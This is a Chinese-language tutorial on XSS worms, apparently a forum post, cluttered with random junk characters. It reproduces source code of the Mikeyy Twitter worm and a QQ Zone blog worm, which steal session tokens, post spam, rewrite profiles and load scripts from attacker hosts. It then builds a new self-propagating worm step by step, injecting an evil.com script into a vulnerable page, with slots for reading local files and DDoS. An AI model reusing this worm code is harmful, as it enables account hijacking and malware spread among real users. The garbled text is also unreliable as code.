9 _+ l: d* {6 L# e 3. var tmp_cookie=document.cookie; " F; q S; Y# ~
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4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); * a# T) h2 _& {: F1 b
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6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array(); * `' s& ]0 H) o8 p$ o; c: U
6 J g2 n, X: c5 A 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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# O& a& ~) i1 l) B 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; + [0 F; H( L0 g6 _. ]$ o& L
0 z' y0 f( ?& T4 k' Q5 D 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; . ?& m# _! Y G6 J0 e6 f' J2 b
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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5 u7 I. j# ]' c0 v 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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" H, _. C! i4 C, y 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; $ v) p; a2 K/ L! O, C' S8 f! b: p
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 8 }9 A1 C4 H y( y! s& d
# q$ ~! k7 x' i) f7 e+ |$ [ 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; * K4 B; F5 N4 ?. p) |
- w0 G0 c$ |$ v 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; " Y" i( Y2 k, s) e- N& [( J
, V- r# _/ e- C8 {- Y 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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L: R% e6 i- ^ 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]); / H" i4 Q$ C' t3 N& v6 d
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27.
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28. var ajaxConn= new XHConn(); , v, x: G8 H/ H; G; `+ ^
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); ( Z! V. @" h9 p- `
E2 f6 m4 d! W& v& U* O6 W: K9 \ 30. var _0xf81bx1c="Mikeyy";
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7 E7 B1 V9 ?3 |% }5 _ 31. var updateEncode=urlencode(_0xf81bx1c); & Z! k$ x0 ^5 M8 {7 Y. S
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32. var ajaxConn1= new XHConn();
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 2 ?' J o8 T Q
& e! z2 G/ f3 m+ E" Z8 v% _ 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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35. var XSS=urlencode(genXSS); . s- B9 Z/ y z& n* V
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36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); + @8 a/ Q. ~& i/ f, {# O0 Y
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40. setTimeout(wait(),5250);
2 b9 ]7 D& B( d6 P& w# G4 t复制代码QQ空间XSSfunction killErrors() {return true;}& L' K8 {$ _# U+ O3 X3 s7 S, }
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window.onerror=killErrors;
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8 |% }# V6 T7 a' jvar shendu;shendu=4;" z ?/ |) S) T5 c, V: r& j
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//---------------global---v------------------------------------------
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( }; S. d! `* k; W7 K//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?4 L& l; F- s; g6 ]
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";# h9 J/ l- b4 u& o& e
% [- k# a0 x1 B4 M' Y0 y/ Fvar myblogurl=new Array();var myblogid=new Array();
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var gurl=document.location.href;
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var gurle=gurl.indexOf("com/");
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gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;
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var cookieS=visitorID.indexOf("g_iLoginUin = ");" t1 p0 o) ?/ N
. o# W5 o4 Y+ `* h7 |. q4 t visitorID=visitorID.substring(cookieS+14);2 H% S' F, L1 [: v D, k& @
2 ]( p2 c2 z4 o4 F# ^- @ cookieS=visitorID.indexOf(",");
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visitorID=visitorID.substring(0,cookieS);: ]7 `% ~+ V8 w; r3 R5 i0 a8 O8 \* c* F. u
6 @" o9 @& S2 Q: r get_my_blog(visitorID); m9 a7 b) D0 U% `0 t0 R- i
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DOshuamy();
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//挂马% _5 I3 U& W6 s& C% T* x4 z4 W4 W4 A
( x T3 x& w4 L" K8 I( wfunction DOshuamy(){6 _' d+ \7 d2 R, I
* m6 K- {9 |/ ^. k; G! ivar ssr=document.getElementById("veryTitle");: k& I; ?; G8 b; X/ _
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");/ r1 [4 F; Z, Q
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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5 T' H3 e9 M8 L; nfunction get_my_blog(visitorID){
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, _2 c0 j5 |% C4 o userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";4 u- a% u7 I7 X7 a4 g
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象2 p! I, p# t9 K3 d8 i5 i+ }% B7 X
0 D# v( w+ _2 ?& U. v if(xhr){ //成功就执行下面的9 Q5 q6 |7 w+ d7 R. W* D# B- ~& U
, W% A. i+ k+ _7 [" }# C6 ~! h xhr.open("GET",userurl,false); //以GET方式打开定义的URL9 T. O* Q) t+ W+ x
0 t8 G. @. J N3 d% l xhr.send();guest=xhr.responseText;' {# a, E! }3 H: m4 Q. @3 f. C
& e0 l2 `0 f; @# F( [7 ^7 ~ get_my_blogurl(guest); //执行这个函数
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//这里似乎是判断没有登录的, K& P1 o: V4 k/ c9 _( a6 k4 C
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function get_my_blogurl(guest){* ?; Z; Z4 C$ i) Z
% I, G2 ^1 F6 n9 ?( I& D var mybloglist=guest; R, E4 T3 x* G4 t7 F9 M
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var myurls;var blogids;var blogide;, ~6 W0 y! |( D5 { r2 P! ~
, s# ^7 M; v! F1 ?) m for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了6 r5 f/ H- m2 y
9 x1 M7 j1 X! @6 q: M4 I! T if(myurls!=-1){ //找到了就执行下面的, w/ y: l0 e, T4 I5 p Z2 C4 K' q+ U
3 n* R7 N9 R2 f: A2 X& x4 d mybloglist=mybloglist.substring(myurls+11);* V" d3 o$ b& m& }
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myurls=mybloglist.indexOf(')');
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7 P4 p1 ^) K: G2 c myblogid=mybloglist.substring(0,myurls);2 ]0 K4 Q- y* s! E# \& q) @
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}else{break;}) M, ~/ r, {. A i. K0 i
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get_my_testself(); //执行这个函数
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. p9 Z4 q) u; b) q6 X/ a, O//这里往哪跳就不知道了! Y. G( s% N0 q& U
- z* a# [) W# k6 ]* r+ x( Wfunction get_my_testself(){
- j$ }7 F) M2 q1 b
2 q: u$ z5 g/ K0 p. b( H+ b* z% A for(i=0;i<myblogid.length;i++){ //获得blogid的值
& D% p* L; P, D; L6 k( |8 V4 z- k- U0 Q$ P0 V, E
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
6 v7 d' V- {: U: ^4 X8 c' s3 B" H# \! f/ ^" r
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象& h' T7 r- l4 M$ [7 W
1 G2 c/ q* j* }& s$ i) g& c
if(xhr2){ //如果成功
: @. V! D. z% B( r6 e
, P [' V2 [4 Z) w, ? xhr2.open("GET",url,false); //打开上面的那个url# u7 P' t6 Z, _/ @1 q
& m" k9 P( {6 E5 m% X xhr2.send();1 ]6 y% Y- |6 ~; p" U+ t
4 x' M: E. o$ g9 h! x
guest2=xhr2.responseText;
! r0 v5 g( w9 \2 @2 }
$ }/ S+ {" R; R4 O var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?% Z3 ~) q, E, O8 K2 K. b7 e1 N2 s
4 Z; N& J5 ~. @7 u6 O! @3 o \ var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
0 {/ w& S5 F4 ~# I
$ C* y$ z5 {; r6 X' g if(mycheckmydoit!="-1"){ //返回-1则代表没找到" o- ]& Q5 k% f
* w6 ~$ M1 b6 D& c6 h- M9 k
targetblogurlid=myblogid;
7 y3 N5 s* }/ r8 z* z/ ?6 d! I3 E r/ T3 |* u! i* P
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
* L! y+ o# U# n3 }" ^! E" _1 M# R, p2 I' e% b
break;
4 Y3 Q) @0 I$ [/ `) ~0 M1 d$ P/ y" c0 f' H. X% S. }
}/ V8 ]' `* @% ^; V
; M* `$ P' I# G a9 q p6 e
if(mycheckit=="-1"){ i7 b! L! k# |; S$ ^
5 G. q7 d' F' }5 n3 K, _ targetblogurlid=myblogid;4 O; E0 q% @( s
" a5 p, d3 i( Y0 a# J3 L
add_js(visitorID,targetblogurlid,gurl); //执行它* b4 t A6 p. G' `2 [
0 K+ @( V/ c; w5 b
break;* n5 H. f N9 A$ O1 k2 w
0 ^$ Y- l2 \& S& s3 [3 |* N& r }+ W) Z, X+ y0 p; R
9 C6 A/ D$ Z0 @2 _ }
6 z! A; W! O% i) ~* s8 O7 T! U. y3 `* D* Z2 {
}% d7 g0 I6 r& \/ ?
' t+ X! } D; v- Y: J3 T* X3 O
}
! E+ m" K( j( {' c8 y0 n+ l1 W9 X' Y
, ~+ J. u7 _% {. J, o
: g4 \) l- d8 y' w& W4 }: Y//-------------------------------------- & U9 [# ~0 f& ]$ I# C- H) u& H" a
( c# s+ u1 g6 S
//根据浏览器创建一个XMLHttpRequest对象8 c. X4 x6 j/ |* ~! K: c+ D
1 o' U0 o, E( |# M5 t6 Y
function createXMLHttpRequest(){
% o$ F3 B# Z( w4 y& r
( m W0 N8 J& R! z3 g var XMLhttpObject=null;
% i9 H, I. G' A2 W& }5 b$ r- L$ J1 r
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
8 L3 D. N+ ^+ O6 X* E A+ H' b* ?) z9 {) z7 _; s8 h" G. |
else
/ ~ x ~* Y/ `0 X2 y" Q+ b# U8 g7 G* J2 _3 d- f& Q
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
% D- r2 }4 }3 u2 @- |# _& \7 \8 I8 N6 E
for(var i=0;i<MSXML.length;i++)
4 n& Z2 C$ w' X% y2 J0 M* u( g
{ 3 |+ i& k" a2 Y% Q
+ E& b% j& {- z try
/ k. {! }1 [2 G4 X
. [: H/ ?) {2 |3 o" O9 q {
9 g% e! W' |/ d. D) n. m( w7 A/ j* ]: l" Q' F
XMLhttpObject=new ActiveXObject(MSXML);
( E6 E8 L# q2 v( Z# k. [1 c+ Z+ [2 u; C @; I
break; 9 O6 A. G3 F+ r
6 s3 o- L3 X; ?$ a- o8 R1 v
}
/ |) A% W4 t: i
: x9 b, f$ X5 ^, |2 Q catch (ex) {
. H' N5 E. Z I4 E# w9 [; e; y+ ^, a" m2 X+ i8 }
} % ^. h4 V6 g* _1 O
. ^# R: X" z. ^! H0 T" l4 R }
4 E1 @; W# @# W( `. P0 h0 A+ h( X% I2 x! F( v7 Z
}
) h& F3 k* ~: m. f9 n& B8 w* N
0 \7 e2 j# }, J$ S3 Zreturn XMLhttpObject;
3 p6 m4 `8 F5 M* V0 o' H9 j M+ G0 w: w: L$ ~" i% S& K" D! ?3 X
} 0 `) p/ K& k- B7 {! i2 I4 S! h! D+ l
n& x+ K" C1 \& |0 x' b+ ?' O
8 {# Q# h4 U$ F) D( c1 _
1 b; c$ {& ^: A# s% V( h
//这里就是感染部分了1 i$ V s9 K' j' ^# r) }2 |6 h
V* j1 j' B9 B
function add_js(visitorID,targetblogurlid,gurl){) n+ B% l7 T) C; X
. Z4 @$ Q5 t# k2 U- T- H
var s2=document.createElement('script');
# b- J( [% B* h. Y, F" E
6 V3 S# i8 V* r6 Z9 K# Ds2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();+ z9 g1 X3 B. C; A0 q* T
" `. a/ O4 y) X( ns2.type='text/javascript';# j$ ^# s2 @( C+ L* y! p ]0 f
9 v+ h* [: _ b
document.getElementsByTagName('head').item(0).appendChild(s2);: h- [, i* t v, ?' E( {
; o5 s# E6 L: D; q \( A$ W9 s}. T9 j1 \; @. X# ^% Q
8 f# b% j c+ c4 A& X) g0 G
0 S3 c) ~, p( u0 F2 G* S$ a
' [0 A: i0 u' ?5 b3 D b+ Rfunction add_jsdel(visitorID,targetblogurlid,gurl){
$ w& ?; c) g8 d9 O" X7 Q- _% ~! e+ K+ b; v3 \: y0 a, Z2 _
var s2=document.createElement('script');
/ [; ^: K3 Q8 l. L l% p
; S7 t% l# Z# j$ Z8 p1 |s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();5 l* ^; b3 f; F) ~3 n
* y; `: Q3 i9 {8 J _7 N3 G/ F1 x$ }s2.type='text/javascript';
0 p9 Y# |* c" \8 t( Q3 d# N) v8 j! J& L% ~, c5 S: y) [
document.getElementsByTagName('head').item(0).appendChild(s2);
; {! [+ m' y$ x3 g
5 s, P, _0 K- Q* r' q7 J}
, ]1 c; J) J" }7 N复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
9 ~: }; c" H/ H/ {1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
1 F7 q0 L" @; }( F( H
: f3 v8 v$ n& R/ y0 n% I2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)# J$ y+ o' h% x3 \
& {0 H' L) z& {5 p9 |6 i# m综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
9 k6 x( e2 ~( A) p- h7 p2 _
0 A! G5 q3 }+ y7 B
$ w1 ~( t& x) z' o下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
& }0 _, \9 p5 i" O! v7 s G( H/ P" M# }+ W$ S
首先,自然是判断不同浏览器,创建不同的对象var request = false;
: w5 V6 z9 E) h! Y2 U
/ h8 E l( m% B4 rif(window.XMLHttpRequest) {
. R) w& u4 R; d9 J/ J4 P ?% r
9 X& G% e, C, p" Irequest = new XMLHttpRequest();$ W7 Z; ~( W, u+ ^
+ W: e9 X! [5 L, x
if(request.overrideMimeType) {
( V' ?3 ^" w% l/ R% {% F
* |7 E# O' b1 j; F* e [; xrequest.overrideMimeType('text/xml');5 Y; f$ n8 [, |( o0 G( ^
6 w% ~! V6 I* g; G9 j1 ]' Q; l
}
H V$ E* o! c$ z. r
. U# I) z" n4 b7 `! R0 w. U; s( ?} else if(window.ActiveXObject) {
# \0 Q1 u7 I* r9 U
- Q8 [, W7 ?! ?! f/ Q3 @$ Q% H, jvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
& M: y! v+ U1 }' ]: C+ l5 M
) K$ N. O3 p* W4 Nfor(var i=0; i<versions.length; i++) {8 P: [; e0 u2 s+ y W
9 M |( M0 V1 c6 Z M% jtry {
+ H2 m3 j2 w) e' X. D
, W% J( {" j' ^3 F5 n2 mrequest = new ActiveXObject(versions);
+ W8 s- y7 D4 m# u5 r; e: z' S( U' r! @- x, E
} catch(e) {}
/ u5 t, b) w F {7 w
" B0 I: g# g, t9 s" Z}+ O7 S# N, d6 U- |
* @; _3 e z$ D( k9 `/ G0 s}
$ X+ y" p4 L& q4 E) H$ x6 Q# Q8 W1 M" k+ W& O
xmlHttpReq=request;
4 m4 B& A6 W6 w3 v. k1 a$ x+ X复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){7 S) G3 K" q6 ^0 F5 t
9 y7 q3 I7 e' M: i
var Browser_Name=navigator.appName;
. q7 ^: \! D4 S8 M" K6 O! i, i6 v; L6 u5 q% c6 j, h
var Browser_Version=parseFloat(navigator.appVersion);
! r, Z( ?" L2 _1 m; R6 _
/ {: q/ `( m! p) {9 P var Browser_Agent=navigator.userAgent;( V* U; Y5 j. A; Q- }% j
9 M4 e7 |' u- P
+ H4 A1 F$ W$ B3 h
, ^+ n+ O; k! _7 n- { var Actual_Version,Actual_Name;; H# w( [2 j8 P1 o
3 y9 s; |: R% n# n; P
0 R( }, ]/ N6 U
! Z8 e$ o# X8 n$ l" d var is_IE=(Browser_Name=="Microsoft Internet Explorer");
2 i- w& ^! M3 E0 J3 ]) B8 [5 c/ z: i+ r) O2 o5 v7 A
var is_NN=(Browser_Name=="Netscape");; x% | C+ d1 b) i9 K8 d- S* M
. ^ W9 o& m# W: g. E6 P# F4 F$ { var is_Ch=(Browser_Name=="Chrome");6 S/ U: M5 G8 n8 g
8 g; }; k( `1 c ; }! x* \6 F B# a
* h3 [# ?: b% [' O& _
if(is_NN){# K+ T+ R* H S6 S0 `$ v9 C J( A
1 M, e! K2 G! U& c4 Z X
if(Browser_Version>=5.0){. F( f- {! A! M) I4 ^
+ K0 p! Z; J8 a7 m+ G4 Q+ U" i var Split_Sign=Browser_Agent.lastIndexOf("/");# h/ P! y u. W7 Q2 C. r( n# W9 ]
: {; b$ D4 v! T$ J# f" R
var Version=Browser_Agent.indexOf(" ",Split_Sign);
# k/ {! p5 B' |7 W& L1 ~/ V' G E7 L
: ]: l9 e8 ?$ n var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
- g2 Z5 d. ~; I$ ?4 n' Q8 z& k8 H' c/ _2 D1 A9 J* @
" g2 {1 I) x8 R& r' i4 }
- e* T) @) N" A, d6 o Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);2 D/ ?2 L# {2 B3 g1 D) S
3 |7 F& V# C7 C- [( ~
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);$ U" O) ~7 U& x4 s' d
9 e& u" {7 ]: A% @+ m$ K0 Z
}
% w. g2 t2 u. j: U* [6 {1 P
5 Z5 n7 w$ C: `! K1 H Q! d" [ else{$ k9 F2 h# \. C' m: P$ u
* C& p% K! Z; f6 B: o8 x Actual_Version=Browser_Version;
) M, T: [9 z& g1 b% D4 c" e3 `- B$ C* u3 K
Actual_Name=Browser_Name;- H+ y) J" s6 w# b- O$ b9 T
' I7 _' o- O& W* |5 X- i8 Q }/ o. D5 u) T M5 g& T7 a0 C
4 N' O" o8 R5 Z4 J/ M }/ r0 a1 c' R/ t* J4 n" m: k7 a
, o; ~+ S: x2 q7 U0 V0 k2 I; J' X else if(is_IE){
0 O" l# F! F" q: _2 |' S; L" a3 i- z$ L* o; R
var Version_Start=Browser_Agent.indexOf("MSIE");+ [. t' O) i9 N8 D7 S$ r# P `( `
- y$ o$ P* k/ y* q* F' _: S! N
var Version_End=Browser_Agent.indexOf(";",Version_Start);- i' w8 O/ Z2 {+ i+ ?
3 I9 {4 m7 n+ [1 @4 ^. @2 w
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
; q2 W1 K! e5 U6 R& @1 c* b. ]( U" G, k# j5 h3 b
Actual_Name=Browser_Name;* k$ B2 | J# p' ]
9 L' b8 ]9 J3 t' S: i
+ q$ |$ w9 \% _: x/ _) X* z$ [- o9 z% ^9 _: e* q
if(Browser_Agent.indexOf("Maxthon")!=-1){0 U* Z# M+ g6 Y
8 Z. ]- B/ B/ ]! u6 h6 a Actual_Name+="(Maxthon)";! r) N: G) C% D) U H
8 r% |2 X7 P$ k5 Q' J# m& _ }5 ?4 a# \0 }. k' g$ f9 a) X2 ]
* z+ j: z6 ^9 B5 v" q
else if(Browser_Agent.indexOf("Opera")!=-1){
- z: v: r9 n! d' B3 j
& L. |% S0 Y# e( @$ m* | Actual_Name="Opera";% ^3 u/ o% ]7 {, o: r# ~
, A4 V& `( E. C9 p D( |# _1 L
var tempstart=Browser_Agent.indexOf("Opera");' i% I7 q) _0 D2 E/ d% J+ h
5 z% @- @+ ]6 { var tempend=Browser_Agent.length;5 R9 _. X! I" Z- U
# F! r+ M* z' s' R- j4 N* _ Actual_Version=Browser_Agent.substring(tempstart+6,tempend)6 P7 A6 b2 y, o. D- m
, {3 v+ P! @: u# R5 o& p }
( g0 m5 J$ C8 t7 k
; \6 E; p% |# u% u- r- _( q }1 q" Y7 [/ e; C) e& g
+ |, j1 ~$ P1 i! x else if(is_Ch){
9 l" I+ G* v/ \; B( _9 R8 l8 x5 a
var Version_Start=Browser_Agent.indexOf("Chrome");. h# k: q- @& i Q) ]! |) ^
* w1 y7 ]$ U9 S% @7 F var Version_End=Browser_Agent.indexOf(";",Version_Start);3 x: \+ q) t! q7 W6 Z5 @
6 J( l- z0 Y& c$ ?; a- {
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End), q+ |2 { `. H' Z$ A
( }" p9 _% w7 ~+ W Actual_Name=Browser_Name;3 P( d+ f* @$ f* C3 Q! R9 C
! h8 s3 u: n$ }6 S# Z# W" _( Z 8 S! M# T6 S) |% Q9 r2 P/ b
- o! ~# s9 w3 w- `& l( U
if(Browser_Agent.indexOf("Maxthon")!=-1){
- Q# p( {% p& v+ D; H8 Z7 ]; ?3 `" F0 z# o2 C' v8 D) D0 m+ r. {
Actual_Name+="(Maxthon)";
# b0 Z. y E/ S- i; ~8 J8 b P( B- E2 ^, g- U% X# D
}, v+ [, o% o. U$ A- {& u
/ y2 s3 i& Z3 L' l% m4 R9 c else if(Browser_Agent.indexOf("Opera")!=-1){+ y$ {. B: z& o8 B" N* ]' l
' p2 j3 J& Y( a& a
Actual_Name="Opera";" ~0 J3 {8 x9 M1 V; v
5 h# M6 G. L9 l) y0 P( T+ ?& G5 q2 ~* A
var tempstart=Browser_Agent.indexOf("Opera");' G- D \8 F: e% ?3 ~
5 J9 j h P- g$ W0 f6 s: M
var tempend=Browser_Agent.length; [$ \6 _6 [3 c" R' B1 S2 C
( A3 K/ m/ r# U" A2 `
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
; X. W. w$ ~/ X$ [3 Q g7 S
1 i z7 ?, X" V( O% [! \0 N. @ }
: A+ L, r, g1 e& ]/ h- a7 c3 }( s
1 z3 ?0 I- g! f) o }
& ~1 C, o# G4 f4 t8 o
$ L* G' ]% G* L+ A: c6 U9 c else{
- l+ l& H1 }* j5 k8 P. z1 l( Q/ P) v5 B- d
Actual_Name="Unknown Navigator"6 E$ |$ G% d* G/ g
& h5 R- P2 g: Y7 j: L
Actual_Version="Unknown Version"
0 j4 m1 }2 g6 `# A. R" W' A2 J) [, f# ]
}- l, o0 W* m& [5 l
6 {4 M# V8 ~+ X: z& e- @4 A9 Q4 L+ K% B( l
9 R) l4 E: R" H navigator.Actual_Name=Actual_Name;
" F1 |: [( O# V! w3 b7 h9 l8 J
) s V; s$ d* R# w3 q5 ]& V+ ` navigator.Actual_Version=Actual_Version;& I5 G. D% X* L
2 z" M' W2 {4 e - t2 v6 ^# x+ [6 T' l
1 k3 z: ]* {8 c5 Q! W1 @
this.Name=Actual_Name;
+ j4 c/ ^& R0 m/ o% Y/ [2 p4 H/ S q% n7 c, q3 K
this.Version=Actual_Version;
: K* F3 q8 _5 H. Z/ i# G: f) q3 {8 V
}
/ p/ a. _5 Q _- t( V* Q d6 G9 j/ ?4 a* _/ O i( n- E
browserinfo();
& W. J; L! `9 d4 C$ s1 i4 t! l# A# D& }" W4 A
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}- [: f1 ^- d- D1 }/ Y$ i+ l+ i
) S& l8 S; P# }% X: |& a( I* @ if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
w2 v1 T# j/ Z+ q4 H! s5 a
# l4 ] ]/ i* Q& @# g. G: C2 x if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}- V/ X% P4 G( s) {
1 A- s0 ?/ Q( O" V# J4 `- p
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}$ h+ c& R! {5 o
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
( R5 p% D& G, X4 x复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
$ g/ A X f& N0 B' ~复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
9 v, [; E* M/ ?1 p- p' p; q- C( S1 y4 g) Q3 m0 e
xmlHttpReq.send(null);- S$ |" d8 J l
7 F# ^: Q; Q) r
var resource = xmlHttpReq.responseText;# _$ V9 I+ c; W
3 C- _( u4 x2 Y4 X. Bvar id=0;var result;
" w! m2 x- s9 ?! ?" y+ j' A
3 x- f+ O# v, h8 `/ z9 avar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
4 V% g2 T, ~. q) \, }; a" k- Q. @ P
9 w5 H: T/ A0 {, H+ H& b4 ^6 swhile ((result = patt.exec(resource)) != null) {2 N' K- v* _/ m) s# |. k* ~, e
1 W9 o, C* `9 k; ~) iid++;
/ c. @8 O) W2 P, s% I0 g" ^
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复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.' J) F" Z9 j8 G& ]8 k6 F
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no=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.: C4 d: I, I3 K! ~4 E
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var post="wd="+wd;
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8 ?9 z* Z% w( g% G3 c1 xxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去." m9 g: z: x1 U# a( V
1 u% ?" ?, {9 o7 t9 C* a5 axmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");% u& ^4 d( N+ K1 i: ~3 S/ L
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xmlHttpReq.setRequestHeader("content-length",post.length); 5 y0 [2 `' b0 a: I( R+ ~. C
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");4 h. g8 m' f/ {
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xmlHttpReq.send(post);' ^0 ?. c7 a: c) R) p8 |! D
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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8 d' S/ Z7 D8 f6 Q' F" K5 m9 e! w# ?var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方 e C, M4 m) a" Q9 P9 X) \/ O* J
$ B8 s$ a8 L9 c' W9 x8 l. u4 O Q; fvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.+ d# c! e4 d- m# P! y* l% a$ J5 H
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.* _! Y8 [! ^# J) ^# Y# ]
3 j5 f/ @/ G4 X; x9 Avar post="wd="+wd;
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); : \& r% t6 z8 n6 w, l$ d
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
